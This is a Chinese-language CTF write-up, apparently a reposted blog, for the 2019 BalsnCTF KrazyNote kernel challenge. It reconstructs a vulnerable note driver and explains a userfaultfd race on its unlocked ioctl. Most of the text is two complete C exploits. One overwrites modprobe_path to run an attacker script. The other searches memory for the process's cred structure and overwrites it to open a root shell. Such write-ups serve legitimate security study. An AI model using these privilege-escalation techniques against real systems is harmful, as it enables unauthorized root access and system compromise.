[userfaultfd] 2019-BalsnCTF_KrazyNote

2024-02-20 01:30

本文主要是介绍[userfaultfd] 2019-BalsnCTF_KrazyNote,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

题目不算难, 但是这代码逆向可逆死个人:) 悲悲悲

程序分析

内核版本: v5.1.9

保护: 开了 kaslr, smep, smap. 现在的题目基本都开了, 都不用看.

其中 note 模块中注册了一个 misc 设备, 其函数表中就只有 note_open 和 note_unlocked_ioctl 两个函数, 其中 note_open 函数没啥用. 主要看看 note_unlocked_ioctl 函数吧. 

这里用的是 unlocked_ioctl 而不是 ioctl, 看网上说 unlocked_ioctl 不会提供锁操作, 需要用户自己实现相关锁操作

行, 来看看 note_unlocked_ioctl 函数吧:) 是不是一脸懵逼, 这只是其中一部分

 可能是代码优化的问题, 反正 IDA 的伪 C 代码死难看. 所以这里采用动调的方式去理清楚整个程序的功能.

动调就不一步一步展示了, 最后我整理的结果如下, 就是简单的写了下这个函数的逻辑. 整个过程都没有上锁.

// 用户程序传入的结构体
struct user_note {size_t idx;size_t size;char* buf;
};
//  chunk 结构体
// 感觉就是在模仿 glibc
struct chunk {size_t key;size_t data_size;size_t data_offset;char data[]; //char data[self.data_size];
};#define ADD  0xFFFFFF00
#define DELE 0xFFFFFF03
#define EDIT 0xFFFFFF01
#define SHOW 0xFFFFFF02
// 调试得知 KEY 与 page_offset_base 存在一个不固定的偏移
#define KEY
#define CHUNK_HEADER_SIZE 0x18size_t page_offset_base;
// note_arr, chunk_buf, current_chunk_ptr 为 BSS 段上的变量
struct chunk* note_arr[16];
char* current_chunk_ptr = chunk_buf;
char chunk_buf[0x2000];// 默认 idx 在 [0, 15] 之间
// size 在 [0, 0x100] 之间
// 这里实际上要复杂一些, 因为 chunk 的大小没有对齐
__int64 note_unlocked_ioctl(struct file* fp, unsigend int cmd, unsigned __int64 args)
{struct user_note user_note;struct chunk* knote;size_t buf[32];if (copy_from_user(&user_note, args, 24)) return -14;switch (cmd){case ADD:size_t add_size = LOBYTE(user_note->size);size_t idx = -1;// 获取堆块索引, 最多申请16个for (;idx < 16; idx++)if (!note_addr[idx])break;if (idx == 16) goto ERROR;// 设置堆块元数据note_arr[idx] = current_chunk_ptr;	current_chunk_ptr = current_chunk_ptr + add_size + CHUNK_HEADER_SIZE;note_arr[idx].key = KEY;note_arr[idx].data_size = add_size;// 复制数据到内核空间copy_from_user(buf, user_note.buf, add_size);// 数据进行异或加密xor_key(buf, KEY);// 复制数据到堆块中qmemcpy(note_arr[idx].data, buf, add_size);note_arr[idx].data_offset = note_arr[idx] - page_offset_base;break;case SHOW:size_t idx = user_note.idx & 0xf;size_t size = LOBYTE(note_arr[idx].size);// 获取堆块数据域起始地址size_t data_addr = note_arr[idx].data_offset + page_offset_base;qmemcpy(buf, data_addr, size);// 数据异或解密xor_key(buf, KEY);// 复制数据到用户空间copy_to_user(user_note.buf, buf, size); break;case EDIT:// 获取堆块knote = note_arr[LOBYTE(user_note.idx)];if (knote){size_t size = LOBYTE(knote->size);size_t data_addr = page_offset_base + knote->data_offset;// 复制数据到内核空间copy_from_user(buf, user_note.buf, size);// 数据加密xor_key(buf, KEY);// 复制数据到堆块中qmemcpy(data_addr, buf, size);}break;case DELE:// 删除所有堆块// 将 note_arr 清空for (int i = 0; i < 16; i++) note_arr[i] = NULL;// 重置分配堆块指针current_chunk_ptr = chunk_buf;// 清空堆区的所以数据memset(chunk_buf, 0, 0x2000);break;}return 0;
ERROR:return -14
}

总的来说, 题目实现了一个菜单 "堆", 具有增/删/查/改的功能, 但是这里的 "堆" 是出题者自己模拟的, 即:

1) 在 BSS 段上分配一块内存 bss_buf 作为堆

2) current_chunk_ptr 作为堆指针, 指向堆目前的地址, 类似 glibc 中的 top_chunk

3) 定义了一个 chunk 结构, 类似 glibc 中的 chunk 都包含一个 0x10 的头一样. 这里的头为 0x18, 字段分别为 key, data_size, data_offset, 其函数如下:

        1) chunk 中的数据都会跟 key 进行异或

        2) data_size 表示数据域的大小

        3) page_offset_base + data_offset 为数据域的起始地址

注意:

1, 这里的 data_size 可以为0, 这时候只分配一个chunk头.

2, 这里的 data_size 并不是对齐的, 也就是说你可以分配大小为 1 字节的堆块, 这是堆块的总大小就为 0x19, 下次分配就会从 0x20 开始. 但是这个没啥用, 我们自己在进行在分配的时候还是 8 字节对齐分配, 因为不想自找麻烦:)

3, 注意一下 dele 堆块, 上面代码写的很清楚了, 自己看吧

漏洞分析与利用

漏洞就在于其没有进行锁操作, 并且内核版本为 5.1.9, 在 add/edit 的时候利用了 copy_from_user, 所以就是常规的 userfaultfd 利用了.

任意写打 modprobe_path

其实上面已经写的很清楚了, 代码逻辑也写了, 先把 key 泄漏出来, 然后泄漏 kernel_base, 最后修改 data_offset 实现任意地址写.

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>size_t key;
size_t kernel_offset;
size_t modprobe_path_offset;void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}int fd;
struct note {size_t idx;size_t size;char* buf;
};void add(size_t size, char* buf)
{struct note n = { .idx = 0, .size = size, .buf = buf };ioctl(fd, 0xFFFFFF00, &n);
}void edit(size_t idx, char* buf)
{struct note n = { .idx = idx, .size = 0, .buf = buf };ioctl(fd, 0xFFFFFF01, &n);
}void show(size_t idx, char* buf)
{struct note n = { .idx = idx, .size = 0, .buf = buf };ioctl(fd, 0xFFFFFF02, &n);
}void dele()
{struct note n = { .idx = 0, .size = 0, .buf = NULL };ioctl(fd, 0xFFFFFF03, &n);
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}char copy_src[0x1000] = { 0 };
void* leak_key(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler to leak key");char buf[0x100] = { 0 };dele();add(0, buf);add(0, buf);*(uint64_t*)(copy_src) = 0;*(uint64_t*)(copy_src+8) = 0xff;uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void* leak_kernel(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler to leak kernel base");char buf[0x100] = { 0 };dele();add(0x18, buf);add(0x18, buf);memset(copy_src, 0, sizeof(copy_src));*(uint64_t*)(copy_src+0x18) = key;*(uint64_t*)(copy_src+0x18+8) = 0x18 ^ key;*(uint64_t*)(copy_src+0x18+8+8) = 0x9d000 ^ key;uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void* hijack(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler to hijack modprobe_path");char buf[0x100] = { 0 };dele();add(0x18, buf);add(0x18, buf);memset(copy_src, 0, sizeof(copy_src));*(uint64_t*)(copy_src+0x18) = key;*(uint64_t*)(copy_src+0x18+8) = 0x10 ^ key;*(uint64_t*)(copy_src+0x18+8+8) = modprobe_path_offset ^ key;uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/note/x"); // modeprobe_path 修改为了 /tmp/xsystem("chmod +x /home/note/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /home/note/dummy"); // 非法格式的二进制文件system("chmod +x /home/note//dummy");system("/home/note/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 执行的文件 /tmp/xsleep(0.3);system("cat /flag");exit(0);
}int main(int argc, char** argv, char** envp)
{char buf[0x1000] = { 0 };fd = open("/dev/note", O_RDONLY);if (fd < 0) err_exit("FAILED to open dev file");pthread_t thr0, thr1, thr2;void* uffd_buf0 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);void* uffd_buf1 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);void* uffd_buf2 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);if (uffd_buf0 < 0) err_exit("FAILED to mmap for uffd");if (uffd_buf1 < 0) err_exit("FAILED to mmap for uffd");if (uffd_buf2 < 0) err_exit("FAILED to mmap for uffd");register_userfaultfd(&thr0, uffd_buf0, 0x1000, leak_key);register_userfaultfd(&thr1, uffd_buf1, 0x1000, leak_kernel);register_userfaultfd(&thr2, uffd_buf2, 0x1000, hijack);add(0x10, uffd_buf0);show(1, buf);key = *(uint64_t*)buf;binary_dump("Leak key data", buf, 0x100);hexx("key value", key);memset(buf, 0, sizeof(buf));dele();add(0x18+0x18, buf);edit(0, uffd_buf1);show(1, buf);kernel_offset = *(uint64_t*)buf - 0xffffffff81000030;binary_dump("Leak kernel_base data", buf, 0x18);hexx("kernel_offset", kernel_offset);size_t modprobe_path = 0xffffffff8205e0e0 + kernel_offset;size_t page_offset_base = key & 0xfffffffff0000000;modprobe_path_offset = modprobe_path - page_offset_base;hexx("modprobe", modprobe_path);hexx("Guess page_offset_base", page_offset_base);hexx("modprobe_path_offset", modprobe_path_offset);memset(buf, 0, sizeof(buf));dele();add(0x18+0x18, buf);edit(0, uffd_buf2);strcpy(buf, "/home/note/x");edit(1, buf);puts("[+] get flag");get_flag();return 0;
}

效果如下:

任意写修改 cred

这里我们存在任意读写的能力, 所有根本不需要泄漏 kernel_base, 直接在泄漏 key 后得到 page_offset_base, 然后遍历搜索 current task_struct, 然后找到 current_cred, 最后利用任意写修改 cred 进行提权.

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/prctl.h>size_t key;
size_t kernel_offset;void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}int fd;
struct note {size_t idx;size_t size;char* buf;
};void add(size_t size, char* buf)
{struct note n = { .idx = 0, .size = size, .buf = buf };ioctl(fd, 0xFFFFFF00, &n);
}void edit(size_t idx, char* buf)
{struct note n = { .idx = idx, .size = 0, .buf = buf };ioctl(fd, 0xFFFFFF01, &n);
}void show(size_t idx, char* buf)
{struct note n = { .idx = idx, .size = 0, .buf = buf };ioctl(fd, 0xFFFFFF02, &n);
}void dele()
{struct note n = { .idx = 0, .size = 0, .buf = NULL };ioctl(fd, 0xFFFFFF03, &n);
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}char copy_src[0x1000] = { 0 };
void* handler(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler");char buf[0x100] = { 0 };dele();add(0, buf);add(0, buf);*(uint64_t*)(copy_src) = 0;*(uint64_t*)(copy_src+8) = 0x18;uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}int main(int argc, char** argv, char** envp)
{char buf[0x100] = { 0 };char buffer[0x300] = { 0 };fd = open("/dev/note", O_RDONLY);if (fd < 0) err_exit("FAILED to open dev file");if (prctl(PR_SET_NAME, "Pwner-XiaozaYa") < 0) err_exit("SET NAME");pthread_t thr;void* uffd_buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);if (uffd_buf < 0) err_exit("FAILED to mmap for uffd");register_userfaultfd(&thr, uffd_buf, 0x1000, handler);add(0x10, uffd_buf);show(1, buf);key = *(uint64_t*)buf;binary_dump("Leak key data", buf, 0x18);hexx("key value", key);size_t page_offset_base = key & 0xfffffffff0000000;hexx("Guess page_offset_base", page_offset_base);memset(buf, 0, sizeof(buf));add(0, buf);*(uint64_t*)buf = 0 ^ key;*(uint64_t*)(buf + 8) = 0xff ^ key;uint64_t* task;for (size_t off = 0; ; off+=0x100){*(uint64_t*)(buf + 8 + 8) = off ^ key;edit(1, buf);memset(buffer, 0, sizeof(buffer));show(2, buffer+0x100);task = (uint64_t*)memmem(buffer+0x100, 0x100, "Pwner-XiaozaYa", 14);if (task){printf("[+] comm: %s, real_cred: %#lx, current_cred: %#lx\n", task, task[-1], task[-2]);if (task[-1] > 0xffff000000000000 && task[-2] > 0xffff000000000000) break;}}*(uint64_t*)(buf + 8) = 0x20 ^ key;*(uint64_t*)(buf + 8 + 8) = (task[-2] + 4 - page_offset_base) ^ key;edit(1, buf);memset(buf, 0, sizeof(buf));edit(2, buf);puts("[+] Get root shell");system("/bin/sh");return 0;
}

 效果如下: 因为每次最多只能读0x100, 所以寻找 current_task_struct 的时间可能久一些

这篇关于[userfaultfd] 2019-BalsnCTF_KrazyNote的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:https://blog.csdn.net/qq_61670993/article/details/134540209
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/726622

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

2019学习计划

工作三年了,第一年感觉是荒废的,第二年开始学习python,第三年开始自动化 感觉自己会的东西比较少,而且不够深入,流于表面 现制定一下今年大概的学习计划 需持续巩固加强:python、ui自动化、接口自动化、sql等 代码量需提升,敲的不够(重点) 学习: 1.移动端测试,appium等 2.前端知识系统整理学习  3.性能测试 4.docker入门,环境搭建 5.shell

最简单的使用JDBC[连接数据库] mysql 2019年3月18日

最极简版本的, 我们这里以mysql为例: 首先要创建maven工程, 需要引入jar包:,这里需要注意, 如果你安装的是mysql最新版本8以上的, 下面有些地方需要更改,具体就是mysql连接的url, 和5版本的不一样,具体解决请自行百度哈.这里只演示mysql5版本的? 依赖: <dependency>   <groupId>mysql</groupId>   <artifactId

(php伪随机数生成)[GWCTF 2019]枯燥的抽奖

审核源码发现加载check.php,审计发现使用了mt_rand()函数,这个函数生成的值是伪随机的 参考下面这篇文章 PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户 kali里面输入下载工具 git clone https://github.com/openwall/php_mt_seed.git cd进去输入make后编译出的文件先

2019年2月17日

今天又重新看了一下输出第1500个丑数 在我错了八次之后发现要输出一个句号还要输出换行 接下来的两天应该进入复习阶段了。

National Contest for Private Universities (NCPU), 2019 E. Generalized Pascal's Triangle

编辑代码 2000ms 262144K Generalized Pascal's Triangle Pascal's triangle is a triangular array in which each number can be calculated by the sum of the two numbers directly above that number as shown i

Hinton等人最新研究:大幅提升模型准确率,标签平滑技术 2019-7-8

导读:损失函数对神经网络的训练有显著影响,也有很多学者人一直在探讨并寻找可以和损失函数一样使模型效果更好的函数。后来,Szegedy 等学者提出了标签平滑方法,该方法通过计算数据集中 hard target 的加权平均以及平均分布来计算交叉熵,有效提升了模型的准确率。近日,Hinton 团队等人在新研究论文《When Does Label Smoothing Help?》中,就尝试对标签平滑技术对

Photoshop CC 2019圆形的抠图

快速进入矩形选区 快速在矩形和圆形选区之前切换: shift+M 选择的时候,按住shift,可以选中正方形/圆形   以中心点画圆: alt + 拖拽 再利用变换选区功能即可实现圆的选中 效果如图所示: 再使用自由变换,即可放大,缩小球的大小: ctrl + T 阴影部分的处理: 1)去其他球那里选择个椭圆形选区 2)选择编辑-填充 3)使用滤镜里

Windows Server 2019 中文版、英文版下载 (updated Aug 2024)

Windows Server 2019 中文版、英文版下载 (updated Aug 2024) Windows Server 2019 Version 1809 请访问原文链接:https://sysin.org/blog/windows-server-2019/,查看最新版。原创作品,转载请保留出处。 本站将不定期发布官方原版风格月度更新 ISO。 Windows Server